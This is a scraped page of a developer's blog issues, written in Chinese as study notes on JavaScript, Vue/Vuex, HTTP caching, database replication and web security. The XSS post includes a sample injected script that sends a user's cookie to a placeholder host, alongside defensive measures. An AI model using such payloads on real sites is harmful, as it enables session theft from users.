Giter VIP home page Giter VIP logo

blog's People

Contributors

sfsoul avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

sumili

blog's Issues

JS数组方法梳理

Map

Filter

Reduce

reduce语法:

arr.reduce(callback(accumulator, currentValue[, index[, array]])[, initialValue])

注意:若没有提供initialValue, reduce会从索引为1的地方开始执行callback方法,跳过第一个索引。若提供initialValue,从索引0开始。

数组里所有值求和

累加对象数组里的值

将多维数组转化为一维

计算数组中每个元素出现的次数

按属性对object分类

使用扩展运算符和initialValue绑定包含在对象数组中的数组

数组去重

按顺序运行Promise

功能型函数管道

Polyfill(重点)

数据结构了解 -- 栈

前言

非科班,之前对数据结构不了解。但现在觉得这方面的知识很重要,属于程序员的内功需要修炼。

栈是一种线性存储结构且运算受限的线性表,它的插入和删除运算操作被限制在表的一端,该端称为栈顶,而另外一端则称为栈底。

栈中的数据以后进先出(Last In First Out 即LIFO)方式进出栈。

用JS中的数组方法来实现栈

    function Stack(){
        this.items = [];
    }

    Stack.prototype = {
        constructor:Stack,
        // 将新增的数据放入栈顶
        push(item){
            this.items.push(item);
        },
        // 删除当前栈顶的数据(会修改原始栈)
        pop(){
            return this.items.pop();
        },
        // 返回当前栈顶的数据(不会修改原始栈)
        peek(){
            return this.items[this.items.length - 1];
        },
        // 判断当前栈是否为空
        isEmpty(){
            return this.items.length > 0 ? false : true
        },
        // 清空当前栈
        clear(){
            this.items = [];
        },
        // 返回当前栈的长度
        size(){
            return this.items.length;
        },
        // 打印出当前栈的值
        print(){
            console.log(this.items.toString())
        }
    }

栈这种数据结构就可以类比于JS中函数的调用栈。

JS实现的数据结构

Linux Command

pwd

pwd 命令用于打印当前工作目录。它会将当前工作目录的完整系统路径打印到标准输出。默认情况下,pwd 命令会忽略符号链接。

查看某一个端口被哪个进程占用

lsof -i:端口号

lsof 命令即 ls open files

netstat -tunpl | grep 端口号

参考文章

Vuex源代码分析 -- mapState篇

前言

一般情况下,针对复杂的大型项目,通常是把组件之间都需要用到的数据定义在Vuexstate中(一般都定义初始的默认值)。
这样做的好处在于

  • Vuex中的状态存储是响应式的。即当Vue组件需要从store中读取某个数据的状态值时,若store中的数据值发生变化,Vue组件也是相应的得到更新。(所以常用计算属性来获取state中的值)
  • 我们不能直接去改变store中值的状态。只能通过显示的去commit mutation。其实这样做的好处在于:可以清晰的记录下每次数据的改变,让每次的改变是能被追踪或者说监听到的。(可以联想到 vue-devtools)

mapState源码分析

JSBridge的原理

前言

JSBridge通信原理

Hybrid 方案是基于 WebView 的,JavaScript 执行在 WebView 的 Webkit 引擎中。因此,Hybrid 方案中 JSBridge 的通信原理会具有一些 Web 特性。

Web安全(XSS攻击与CSRF攻击)

前言

主要还是想说下写这篇博文的目的。因为在此之前自己对于web安全这一块还是处在一个完全小白的阶段,之前也的确没想过就了解这一块的内容。是最近在准备面试的时候,刷了一些面试题目以及掘金上一些高赞的关于面试的文章中有提到面试官都会询问关于web安全这一块的知识,所以才立马查阅相关的文章来建立起自己关于这块的知识体系。这篇博客主要是个人涨知识以及记录为主,所以文中大多数内容都是从他人博客中引荐来的。

XSS攻击

什么是XSS攻击

XSS是跨站脚本攻击,指的是恶意攻击者往Web页面里插入恶意的script代码,当用户浏览该页时,嵌入其中Web里面的script代码会被执行,从而达到恶意攻击用户的目的。

简单例子

例如留言板(可以类比于新浪微博的评论框)。正常情况下用户的留言都是正常的语言文字,若有些恶意用户在留言框中输入一段js代码

<script>alert('hey! you are attacked')</script>

那么当浏览器解析到用户的这一行代码时,会执行对应的js代码,即弹出一个信息框。

XSS的危害

XSS的攻击方式就是想方设法的让用户浏览的浏览器去执行一些这个网页中根本不存在的前端代码。

  • 窃取网页浏览中的cookie值,获取敏感信息

在浏览网页的时候常常会涉及到用户登录,一般登录完毕之后服务端会在响应头中带上Set-Cookie字段,并返回响应的cookie值给到浏览器。 这个cookie值就相当于一个令牌,拿着这个令牌就证明了你是某个用户。

你肯定好奇恶意用户是如何盗取到Cookie的呢?其实它只要输入这段url:http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;,这样就可以把当前的cookie发送到指定的站点www.xxx.com

  • 劫持流量实现恶意跳转

比如在网页中插入下面的代码

<script>window.location.href = 'http://www.baidu.com';</script>

这样的话所有访问者都会被跳转到百度的首页。

  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。

  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作。从新浪微博被攻击事件看SNS网站的安全问题

  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不正当的投票活动。

  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果

XSS攻击类型的分类

反射型XSS

反射型XSS只是简单地把用户输入的数据"反射"给浏览器,这种攻击方式 常常需要攻击者诱使用户去点击一个恶意的链接或者提交一个表单,或者进入一个恶意的网站时,浏览器解析并执行恶意的js代码。

存储型XSS

它与反射型XSS最大的不同就是:(1)将恶意脚本存储到数据库中;(2)服务器在接收到我们的恶意脚本时会将其做一些处理。

如将恶意代码存储在数据库中,当我们再次访问相同页面时,将恶意脚本从数据库中取出并返回给浏览器执行。这意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,所以存储型XSS的危害更大。
比如上面举到的留言板例子,就属于存储型XSS。只要有人在留言内容中插入恶意脚本,由于服务器要向每一个访客展示之前的留言内容,所以后面的访客自然会接收到之前留言板中的恶意代码。

攻击场景
  • 攻击者通过评论表单提交将<script>alert('aaa')</script>提交到网站
  • 网站后端对提交的评论数据不做任何操作,直接存储到数据库中
  • 其他用户正常访问网站,并且需要请求网站的评论数据
  • 网站后端会从数据库中取出数据,直接返回给用户
  • 用户得到页面后,会直接运行攻击者提交的代码<script>alert('aaa')</script>,所有用户都会在网页中弹出aaa的弹窗。

XSS攻击的防范

HttpOnly防止劫取Cookie

一般情况下,客户端可以通过document.cookie来获取页面的cookie值。服务器端可以通过设置HttpOnly属性来禁止客户端通过document.cookie来获取cookie。上面有说到攻击者可以通过注入恶意脚本来获取用户的cookie信息。通过在cookie中都包含了用户的登录凭证信息,攻击者在获取到cookie之后,则可以发起cookie劫持攻击。所以严格说,Httponly并非组织XSS攻击,而是能阻止XSS攻击后的Cookie劫持攻击。

输入检查

永远不要相信用户的任何输入。对于用户的任何输入要进行检查、过滤和转义。建议可信任的字符和HTML标签白名单,对于不在白名单之列的字符或者标签进行过滤或编码。

输出检查

用户的输入会存在问题,服务端的输出也会存在问题。一般来说,除富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

CSRF攻击

什么是CSRF攻击?

CSRF(Cross-site request forgery),中文名称:跨站请求伪造。攻击者盗用了你的身份,以你的名义发送恶意请求。

CSRF的原理

下图介绍了CSRF的攻击**:
CSRF攻击原理

  • 用户C浏览并登录信任网站A;
  • 网站A生成cookie,存放在浏览器中;
  • 用户在没有登出A网站的情况下,访问危险网站B
  • 危险网站B中有一段js代码,是像网站A发起一段请求(篡改数据或者其他)
  • 用户C根据危险网站B的请求去访问网站A;
  • 而网站A不知道请求是由危险网站B发出的,又因为浏览器会自动带上用户C的Cookie,所以A会根据用户的权限去处理这个请求,那么B就达到了模拟用户操作的目的。
    从上图看出,要想完成一次CSRF攻击,受害者需依次完成两个步骤:
  • 登录受信任网站A,并在本地生成Cookie。
  • 在不登出A的情况下,访问危险网站B。

CSRF的防范

验证码

验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。

原因在于:从上面的例子中看出,CSRF攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终的请求。这可以很好遏制CSRF攻击。

局限性在于:不可能对于每个操作都加上验证码,对用户的体验感不友好。

Referer Check

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。通过Referer Check,可以检查请求是否来自合法的"源"。

通俗来讲,就是后端同学在服务端会增加限制代码。

//限制客户端只能是这个源头发起请求,服务器端才会处理。否则将它作为CSRF攻击
if (req.headers.referer !== 'http://www.c.com:8002/') {
    res.write('csrf 攻击');
    return;
}
添加token验证

CSRF 攻击之所以能够成功,是因为攻击者可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

参考链接

【前端安全】JavaScript防XSS攻击
浅说 XSS 和 CSRF
浅谈XSS攻击的那些事(附常用绕过姿势)
[科普]跨站请求伪造-CSRF防护方法
浅谈CSRF攻击方式

关于单点登录

前言

什么是单点登录

单点登录的好处(与其他方式的区别)

单点登陆的原理

单点登录的实现

项目中的命名方式

HTML命名

说HTML命名之前,先说下布局的二个概念:模块(module)和元件(unit)

  • 模块:各种常见的网页内容模块,通常可以重复使用的较大的整体,比如导航、菜单、幻灯、图文、列表等。命名前建议带有 m-
  • 元件:各种常见的网页内容元件,比如按钮、标题、输入框等。命名前面建议带有 u-

两者关系为:模块包含元件,元件组成模块。

看个例子

demo

上面整个弹窗,当成一个模块。可以把标题,提示内容,按钮当做元件。

<div class="m-alert">
        <div class="m-box">
            <div class="m-box-inner">
                <div class="u-title">提示2</div>
                <div class="u-content">这里是提示内容2</div>
            </div>
            <div class="m-box-buttons">
                <span class="u-btn-success">确定</span>
            </div>
        </div>
</div>

JavaScript命名

1.按照类型命名

1-1. 小驼峰

变量,函数一般而言都是使用小驼峰命名。

  // 登录处理函数
  let handleLogin = function(){}
1-2. 大驼峰

关于 class的命名规范,应该用大驼峰命名

  // 创建一个类
  class Person{
       // ...
  }
1-3. 常量

常量建议使用大写字符+下划线命名。

  // 配置最大金额
  const PRICE_MAX = 10000;
1-4. 私有变量

私有变量相对于外面作用域而言,为了区分变量是公用的,还是私有的。建议命名上面做下区分,私有变量建议使用下划线开头+小驼峰命名方式。

let myObj = {
            name: 'zj',
            setName(){
                // 保存当前的this
                let _this = this;
                setTimeout(function(){
                    alert(_this.name)
                },1000)
            }
 }

2.按职责命名

函数命名,一般都是动词开头。

2-1. 获取值

如果函数是为了获取值(函数最后会返回一个值的),函数前面建议带有get。

  // 根据ID获取用户信息
  function getUserInfo(id){

  }

2-2. 设置值

如果函数是为了设置值(函数最后会返回一个值得),函数执行是为了给某一个变量赋值,函数前面建议带有set。

  // 设置用户信息
  function setUserInfo(){

  }

2-3. 处理动作

如果函数是为了处理一些操作,比如登录,注册,渲染列表等。建议命名前面带有handle。

  // 分页操作
  handleChangeCurrent(val){

  }

  // 注册操作
  handleRegister(){

  }

图片命名规范

如果是通用性质的图片,如 LOGO,菜单,侧边栏,背景等,直接使用小写字母命名。比如:logo.jpg, menu.jpg, aside.jpg, bg.jpg。

如果不是通用的图片,建议根据类比-模块-功能的格式。使用小写字母,‘-’或者‘_’分割。

  • btn-submit-comment.jpg 提交评论的按钮
  • bg-product-list.jpg 产品列表模块的背景
  • icon-views.png 浏览数的图标
  • icon-btn-vote.png 投票按钮
  • ad-news-aside.jpg 在新闻侧边栏的广告图片

参考文章

Object.defineProperty()

创建属性

修改属性

添加多个属性和默认值

使用点运算符和 Object.defineProperty() 为对象的属性赋值时,数据描述符中的属性默认值是不同的。

一般的 Setters 和 Getters

继承属性

若访问者的属性是被继承的,它的 getset 方法会在子对象的属性被访问或者修改时调用。若这些方法用一个变量存值,该值会被所有对象共享。

Vue中.sync用法

为什么使用sync

在有些情况下,我们可能需要对一个prop进行"双向绑定"。不幸的是,真正的双向绑定会带来维护上的问题,因为子组件可以修改父组件,且在父组件和子组件都没有明显的改动来源。

以上是官网对为什么使用.sync修饰符的介绍。

子组件向父组件中传递数据

下面介绍两种通用的子组件修改父组件数据的方法:

// html
<div id="app">
    <h1>父组件信息:{{msg}}</h1>
    <child :msg="msg" :change="changeMsg"></child>
    <!--子组件触发自定义事件,将数据作为参数回传给父组件用v-on:[自定义事件]监听的函数-->
    <custom-child :msg="msg" @modify="modifyMsg"></custom-child>
</div>
// js
    Vue.component('custom-child',{
        template:`
            <div class="child">
                <h6>自定义子组件:{{msg}}</h6>
                <button @click="modifyMsg">修改父组件msg</button>
            </div>
        `,
        props:['msg'],
        methods:{
	        modifyMsg(){
	            this.$emit('modify', '我改动你啦')
            }
        }
    })

    Vue.component('child',{
        template:`
            <div class="child">
                <h3>接收父组件信息:{{msg}}</h3>
                <button @click="change">改变父组件信息</button>
            </div>
        `,
        props:{
            msg:String,
            change:{
                type: Function
            }
        },
        methods:{
	        changeMsg(){
	            this.msg = 'xixi'
            }
        }
    })

    window.vm = new Vue({
        el:"#app",
        data:{
            msg: '我是父组件'
        },
        methods:{
	        changeMsg(){
	            this.msg = '修改父组件的值咯'
            },
	        modifyMsg(val){
	            this.msg = val;
            }
        }
    })

官网对于.sync修饰符的解释

.sync的用法以及使用场景

参考文章

ES6: Set与Map

产生原因

JavaScript的默认对象表示方式 {} 可以视为其他语言中的 MapDictionary 的数据结构,即一组键值对。但是 JavaScript 的对象有个小问题,即键必须是字符串。但实际上Number或者其他数据类型作为键也是非常合理的。为了解决这个问题,最新的ES6规范引入了新的数据类型MapSet

Set是一种叫做集合的数据结构,Map是一种叫做字典的数据结构

应用场景

数组去重

const array = [2,3,5,4,5,2,2];
const newArray = [...new Set(array)]; // [2,3,5,4]

模拟实现 Set

关于es5、es6继承的一些认知

缘由

因为最近一直在准备面试,所以对js基础方面的东西又加深了一些了解,因此想通过自己的认知将学到的东西写下来。js继承这块一直是面试的重点,这篇文章的就是基于看了冴羽的博客博客地址后加上了自己的想法写的。


正文

先写一个个人认为目前最好的继承

    //父类构造函数
    function Father(name){
        this.name = name;
    }

    //父类原型上方法
    Father.prototype.getName = function(){
        console.log(this.name);
    };

    //子类构造函数
    function Child(name,age){
        Father.call(this,name); //为实例添加name属性
        this.age = age;
    }

    Child.prototype = Object.create(Father.prototype); //使得 Child.prototype.__proto__ === Father.prototype
    Child.prototype.constructor = Child; //重新修改Child.prototype指向
    Child.prototype.getAge = function(){
        console.log(this.age);
    };

    var child = new Child("zj",25);
    console.log(child);

    console.log(child.__proto__ === Child.prototype);  //true
    console.log(Child.prototype.__proto__ === Father.prototype); //true
    console.log(child.constructor === Child); //true
    console.log(Child.prototype.constructor === Child); //true

原型链继承

再来看看原型链继承的缺点

  • 引用类型的属性被所有实例共享
  • 在创建 Child 的实例时,不能向Parent传参

这边直接拷贝冴羽大神那块的代码

    function Parent(){
        this.names = ["zj","dmy"];
    }

    Parent.prototype.getName = function(){
        console.log(this.name);
    }

    function Child(){}

    Child.prototype = new Parent(); //实现继承。相当于 Child.prototype.__proto__ === Parent.prototype

    var child1 = new Child();
    var child2 = new Child();
    console.log(child1);
    console.log(child2);

原型链继承

首先从上面的代码以及截图中来分析原型链继承的第一个缺点(引用类型被所有实例共享)。
因为child1、child2两个实例对象自身并没有names这个属性,所以输出child1.names、child2.names的时候,其实本质上它们都要去原型上查找,即Child.prototype.names。


借用构造函数继承

  • 缺点:方法都在构造函数中定义,每次创建实例都会创建一遍方法。
    function Father(name){
        this.name = name;
        this.getName = function(){
            console.log(this.name);
        }
    }

    function Child(name,age){
        Father.call(this,name);
        this.age = age;
    }

    var child1 = new Child("zj",25);
    var child2 = new Child("dmy",25);
    console.log(child1);
    console.log(child2);

构造函数继承

从图上可以看出child1和child2这两个实例都各自拥有各自的getName方法,而不是通过访问Child.prototype原型上得来的,这样每次创建实例的时候都需要为每个实例都创建很多方法(若方法很多的情况下),这样太不好啦。而且方法只能写在构造函数里面,不能把方法写在原型上Father.prototype.getName定义,因为实例并不能得到通过原型方式定义的方法。


使实例化与new无关

类的实例化,一个强制要求的行为,就是需要使用new操作符。如果不使用new操作符,那么构造器内的this指向,将不是当前的实例化对象。 优化的方式,就是使用instanceof做一层防护。

function Toast(option){
  if(!(this instanceof Toast)){
    throw new Error('Toast instantiation error');
  }
  
  this.prompt = '';
  this.elem = null;
  this.init(option);
}

强制调用者用new关键字来调用Toast函数。直接调用Toast函数就会报错。

参考文章来源

JavaScript深入之继承的多种方式和优缺点

Vuex学习与总结

前言

个人理解

vuex 就是把需要共享的变量全部存储在一个对象里面,然后将这个对象放在顶层组件中供其他组件使用。

Vuex的流程(action=》mutations=》state=》render Vue Components)

Vuex的State、Getter、Mutation、Action的基本了解

Getter可以理解为State的计算属性。

Mutation

两种commit mutation的方式

mutations: {
  increment (state, payload) {
    state.count += payload.amount
  }
}

store.commit('increment',{
   amount:10
})

对象风格的提交方式

mutations: {
  increment (state, payload) {
    state.count += payload.amount
  }
}

store.commit({
  type: 'increment',
  amount: 10
})

Action

  • Action提交的是 mutation,而不是直接变更状态。
  • Action可以包含任意异步操作。

对Vuex中辅助函数mapState、mapGetters等等的理解

两种形式:一种传入对象,一种传入数组

// 在单独构建的版本中辅助函数为 Vuex.mapState
import { mapState } from 'vuex'

export default {
  // ...
  computed: mapState({
    // 箭头函数可使代码更简练
    count: state => state.count,

    // 传字符串参数 'count' 等同于 `state => state.count`
    countAlias: 'count',

    // 为了能够使用 `this` 获取局部状态,必须使用常规函数
    countPlusLocalState (state) {
      return state.count + this.localCount
    }
  })
}
computed: mapState([
  // 映射 this.count 为 store.state.count
  'count'
])

Vuex中的module

Vuex中如何正确使用v-model进行双向绑定

先简要记录些东西

  • Vuex中存储的数据状态是响应式的。正是因为这点呢,所以组件中引用Vuex中的数据时都可以通过计算属性的形式。
  • 不能直接去修改store中的状态。改变store状态的唯一途径就是显示的去commit mutation

缓存相关知识

前言

这篇更像是一个科普文,因为在实际项目中,缓存机制是无处不在,有客户端缓存,服务端缓存,代理服务器缓存等等。而与前端打交道最多的应该属于浏览器缓存啦,在用户看到的界面中存在的图片或者js、css文件,本质上都是通过client端向server端发起请求获取的,试想一下如果用户打开某个首页每次都要去请求一次index.js或者一些大的png图片,这些请求的建立都是需要花费时间与带宽的,像一些不会经常变化的静态文件(图片、css、js等),完全是可以将它们在客户端缓存下来的,而不需要每次都去向服务器发起请求获取,这样可以减少页面展示内容的时间,这就是缓存机制的作用。

缓存的分类

缓存一般被分为:强制缓存和协商缓存两类。

强制缓存

强制缓存,HTTP状态码返回为200。

  • 客户端第一次向服务器发起请求,请求一张图片的url;
  • 服务器返回给客户端图片的url(假设为https://github.com/images/334328y8.png), 并且在返回的响应头Response Headers中返回cache-control: public, max-age=60000信息
  • 客户端拿到这张图片后,会把它缓存下来。当下次客户端再发起请求这张图片时,浏览器就会拿当前时间与上一次请求时间做一次比较,计算是否小于max-age存储的值,若小于则说明当前缓存还未过期,不会向服务器发起请求,直接将本地缓存的图片返回给客户端。若大于则会向服务器发起请求;

用一张图表示
强制缓存

协商缓存

协商缓存,HTTP状态码返回为304。

  • 服务器在将资源传递给客户端的时候,会将资源的最后修改时间以Last Modified: GMT(时间格式)的形式加在实体首部上一起返回给客户端。
  • 当客户端下次再向服务器发起请求时,会带上If-Modified-Since: GMT(时间格式)信息,如果当前时间与上一次发起请求的时间已经超过了max-age的值,则客户端会直接向服务器发起请求,然后服务器收到请求之后,会找到指定的文件,然后拿客户端传过来的If-Modified-Since时间与服务器上该文件最后修改时间作比较,若相同则直接返回状态码304;若不同,则返回状态码304和新的资源实体内容以及这次相对应的缓存字段信息。

用一张图表示
协商缓存

缓存相关字段的介绍

Expires

在http1.0时代,Expires主要是用来启用缓存和定义缓存时间。Expires的值对应一个GMT(Expires),比如Mon, 22 Jul 2002 11:12:01 GMT来告诉浏览器资源缓存过期的时间,如果没过期则不发起请求。

缺点: 响应报文中的Expires定义的缓存时间是相对服务器上的时间而言,假如客户端时间和服务器时间不一致(用户修改自己电脑的系统时间),那么缓存就没有意义。

Cache-Control

为了解决Expires存在的问题,http1.1新增了Cache-Control来定义缓存过期时间。若报文中同时出现ExpiresCache-ControlCache-Control的优先级更高,以它为准。

Last-Modified

ETag

数据库的读写分离了解

为什么要读写分离

随着网站的业务不断扩展,数据会不断的增加,同样数据库的压力也会越来越大。如果只是简单的对SQL进行基本优化可能还是达不到最终的效果,所以可以采用读写分离的策略来改变现状。

数据访问量一大,读写都在一个库时,当执行写操作的时候,会把记录锁定,行在读时会被锁定。所以需要定义一个主库 专门负责写操作(CUD),而其他从库则负责读(Read)操作。同时使用读写分离也能缓解服务器压力。

使用读写分离时需要注意的点

注意事项一

对每次的sql语句检查下是select还是Insert,update,Delete操作,根据操作性质按照 负载均衡算法 选择合适的数据库连接字符串。

注意事项二

多个只读从库,在接收到大量读操作的时候,需要使用算法,把这些读负载均分到各个只读库上(本质就是分配的更合理)å

  • 平均负载算法:(把读操作平均分到每个只读库上去)
  • 权重轮询调度算法:使用 权重的方法来让性能优良的机器分到更多的任务来均衡整个方案的性能,即权重轮询调度算法。
  • 其他算法。

不论使用哪种算法,目的就是:把查询请求分散到多个只读库上去。

注意事项三

当用户向主库写入数据时,数据保存成功后,还没分发复制到从库时,需要有一个保障机制:即当用户在查看刚才操作的数据时,能正常访问,而不是找不到数据。

比如:1.刚保存一条记录,可以延时2秒,然后再查询这记录(保证这条记录被分发到只读从库时再查询)。

2.保存了记录后,在N秒内先查主库,待超过N秒后,再去从库查询。

不论主库还是从库,关键在于必须保证数据在查询时存在。

读写分离提高性能的原因

  • 物理服务器增加,负荷增加;
  • 主从只负责各自的写和读,极大程度的缓解X锁和S锁争用;
  • 从库可配置myisam引擎,提升查询性能以及节约系统开销;
  • 从库同步主库的数据和主库直接写是有区别的,通过主库发送来的binlog恢复数据,但是最重要的区别在于主库向从库发送binlog是异步的,从库恢复数据也是异步的;
  • 读写分离适用于读远大于写的场景,若只有一台服务器,当select很多时,updatedelete会被这些select访问中的数据堵塞,等待select结束,并发性能不高。对于写和读比例相近的应用,应该部署双主相互复制;
  • 可以在从库启动时增加一些参数来提高其读的性能;
  • 分摊读取。假设当前有1主3从,现在1分钟内有10条数据写入,150条数据读取。1主3从相当于共计40条数据写入,而读取总数没变,因此平均下来每台服务器承担了10条写入和50条读取(主库不承担读取操作)。所以,虽然写入没变,但是读取大大分摊了,提高了系统性能。此外当读取被分摊后,又间接提高了写入的性能。 说白了就是拿机器和带宽换性能。
  • MySQL复制另外一大功能是增加冗余,提高可用性,当一台数据库服务器宕机后能通过调整另外一台从库来以最快的速度恢复服务。

读写分离的误区

读写分离是指程序上把读操作和写操作分别对应不同的服务器。

误解:

  • 主服务器不执行读操作,主服务器要根据情况执行读操作的,不然会有延迟问题(例如用户刚新增一条数据,就想立马查询到这条数据,此时从库的数据可能还没更新完成)
  • 从服务器不执行写操作,虽然程序没有直接写,但是复制数据的过程还是一样要写,不写数据哪来的,只是写的方式是延迟批量写。
  • 只要配置了读写分离性能一定会提示,只有两台服务器的情况,由于服务器实际上是承担了所有的读写,所以并没有提升。 要使用主从读写分离,从服务器要两个以上,两个只能达到备份的目的。

读写分离的优缺点

优点

  • 增加冗余
  • 增加了机器的处理能力
  • 对于读操作为主的应用,使用读写分离是最好的场景,因为可以确保写的服务器压力更小,而读又可以接受点时间上的延迟。

缺点

参考文章

为什么数据库读写分离可以提高性能
我们为什么要使用Mysql处理读写分离?读写分离有什么优点?
数据库的读写分离**
读写分离为什么能够提升性能?

JavaScript Topic

JS中的简单(基本)数据类型有几种?

Number,String,Boolean,Undefined,Symbol,Null,BigInt

carbon

计数

箭头函数的this指向由外层第一个非箭头函数的函数决定并且不会被callapplybind所改变。

箭头函数

Set

原型

运行机制

在事件循环中,每进行一次循环操作称为 tick,每一次 tick 的任务是比较复杂的,但关键步骤如下:

  • 执行一个宏任务(栈中没有就从事件队列中获取)
  • 执行过程中如果遇到微任务,就将它添加到微任务的任务队列中
  • 宏任务执行完毕后,立即执行当前微任务队列中的所有微任务(依次执行)
  • 当前宏任务执行完毕,开始检查渲染,然后GUI线程接管渲染
  • 渲染完毕后,JS线程继续接管,开始下一个宏任务(从事件队列中获取)

宏任务与微任务

async/await的运行机制

  • async 定义的是一个Promise函数和普通函数一样只要不调用就不会进入事件队列。
  • async 内部如果没有主动return Promise,则async会把函数的返回值用Promise包装。(即Promise.resolve(返回值))。
  • await 关键字必须出现在async函数中,await后面不是必须跟一个异步操作,也可以是一个普通表达式。
  • 遇到await关键字,await右边的语句会被立即执行然后await下面的代码进入等待状态,等待await得到结果。当await的后面不是Promise对象,那么await会阻塞其后面的代码,先执行async外部的同步代码,同步代码执行完再回到async内部,把这个非Promise的东西作为await表达式的结果。当await后面如果是Promise对象,await也会暂停async后面的代码,先执行async外面的同步代码,等待Promise对象fulfilled,然后把resolve的参数作为await表达式的运算结果。

结论:

  • 当await后面为非Promise时,当外部同步代码执行完后,若外部Promise执行中resolve的调用带参数,则此时await下面的代码先于外部Promise回调入队的微任务执行。若外部Promise执行时resolve调用不带参数,则外部Promise回调入队的微任务先于await后面的代码执行。Promise.resolve 方法允许调用时不带参数,直接返回一个 resolved 状态的 Promise 对象。立即 resolved 的 Promise对象是在本轮事件循环的结束时,而不是下一轮事件循环的开始时。
  • 当await后面为Promise时,则Promise的回调入队的微任务将先于await下面的代码执行。

JS执行事件

对象

JS黑科技

// 生成长度为11的随机字母数字字符串
Math.random().toString(36).substring(2);  // 2xublx063ww
// 获取URL的查询参数代码
let q = {};
location.search.replace(/([^?&=]+)=([^&]+)/g,(_, k , v)=>q[k]=v);
console.log(q);
// 随机更改数组元素顺序,混淆数组
const fn = (arr) => arr.slice().sort(() => Math.random() - 0.5);
// 生成随机十六进制代码
'#' + Math.floor(Math.random() * 0xffffff).toString(16).padEnd(6, '0');   // #c4cbf5
// 创建特定大小的数组
[...Array(3).keys()]; // [0,1,2]

ES6模块:箭头函数

关于箭头函数,引用 MDN 的介绍:

An arrow function expression has a shorter syntax than a function expression and does not have its own this, arguments, super, or new.target. These function expressions are best suited for non-method functions, and they cannot be used as constructors.

基本语法

直接返回一个对象:

let func = (name, age) => ({personName: name, personAge: age});

与变量解构结合

const info = {
    name: 'zhangjing',
    age: 26
};

let func = ({name, age}) => ({personName: name, personAge: age});

func(info);  // {personAge: 26, personName: "zhangjing"}

箭头函数与普通函数的区别

自身没有this

箭头函数没有this,需要通过查找作用域链来确定this的值。意味着如果箭头函数被非箭头函数包含,this 绑定的就是最近一层非箭头函数的 this。由于箭头函数没有this,所以也不能用callapplybind这些方法来改变this的指向:

var value = 1;
var result = (() => {
    console.log(this); // Window对象
    return this.value;
}).bind({value: 2})();

console.log(result); // 1

若用let value = 1来定义,则result的结果返回为undefined

没有arguments

箭头函数没有自己的arguments对象,它可以访问外围函数的arguments对象:

function getName() {
    return () => consolel.log(arguments[0]);
}
getName('zj')(); // 'zj'

可以通过命名参数或者 rest 参数的形式访问箭头函数的参数。

let getInfo = (...info) => console.log(info);
getInfo({name :'zj', age: 27}); // [{name :'zj', age: 27}]

不能通过new关键词调用

JS函数有两个内部方法:[[Call]][[Construct]]

当通过 new 调用函数时,执行[[Construct]]方法,创建一个实例对象,然后再执行函数体,将this绑定到实例上。

当直接调用的时候,执行[[Call]]方法,直接执行函数体。

箭头函数并没有[[Construct]]方法,不能被用作构造函数,若通过new的方式调用,会报错。

const Func = (name) => console.log(name);
const zj = new Func('zhangjing'); // Uncaught TypeError: Func is not a constructor.

没有 new.target

因为不能使用 new 调用,所以也没有 new.target值。

没有原型

由于不能使用 new 调用箭头函数,所以也没有构建原型的需求,于是箭头函数不存在 prototype 这个属性。

const Func = (name) => console.log(name);
console.log(Func.prototype); // undefined

没有 super

连原型都没有,自然不能通过 super 来访问原型的属性,所以箭头函数是没有 super 的,跟 thisargumentsnew.target 一样,这些值都由外围最近一层非箭头函数决定。

自执行函数

自执行函数的形式为:

(function(){
    console.log(33);
}())

(function(){
    console.log(33);
})()

利用箭头简化自执行函数

(() => {
    console.log('arrow function');
})()

注意:使用以下写法会报错。原因

(() => {
    console.log('arrow function');    
}())    // Uncaught SyntaxError: Unexpected token (

参考文章

vue在工作中的实践应用

前言

主要记录工作中使用vue技术栈遇到的问题或者是在看完官网demo后还不能完全理解的知识点。

并行与并发的区别

区别

吃饭吃到一半,电话来了,你一直到吃完了以后才去接,这就说明你不支持并发也不支持并行。
吃饭吃到一半,电话来了,你停了下来接了电话,接完后继续吃饭,这说明你支持并发。
吃饭吃到一半,电话来了,你一边打电话一边吃饭,这说明你支持并行。

并发的关键是你有处理多个任务的能力,不一定要同时。
并行的关键是你有同时处理多个任务的能力。
它们最关键的点就是:是否是 同时

参考链接

一些JavaScript中的代码小技巧

用Set来实现数组去重

ES6中,引入了一种新的数据结构类型:SetSetArray的结构很类似,且SetArray可以相互进行转换。用Set...(拓展运算符)可以很简单的进行数组去重。

carbon (1)

用解构赋值过滤对象属性

使用ES6中的解构赋值拓展运算符的特性来过滤属性的方法。

image

用解构赋值获取嵌套对象的属性

解构赋值可以从一堆嵌套很深的对象属性中,拿到我们想要的那一个。

image

合并对象

ES6中新增的拓展运算符,可以用来解构数组,也可以用来解构对象,它可以将对象中的所有属性展开。通过此特性,可以做一些对象合并的操作:

image

函数参数值校验

ES6中,为函数增加了参数默认值的特性,可以为参数设定一些默认值,可以通过这个特性来做 函数参数值的校验。

// 函数的参数可以是任意类型的值,也可以是函数。
function getA (){
	console.log('get a');
	return 2;
}

function fix(a = getA()) {
	console.log('a', a);
}

fix(1); // 'a', 1
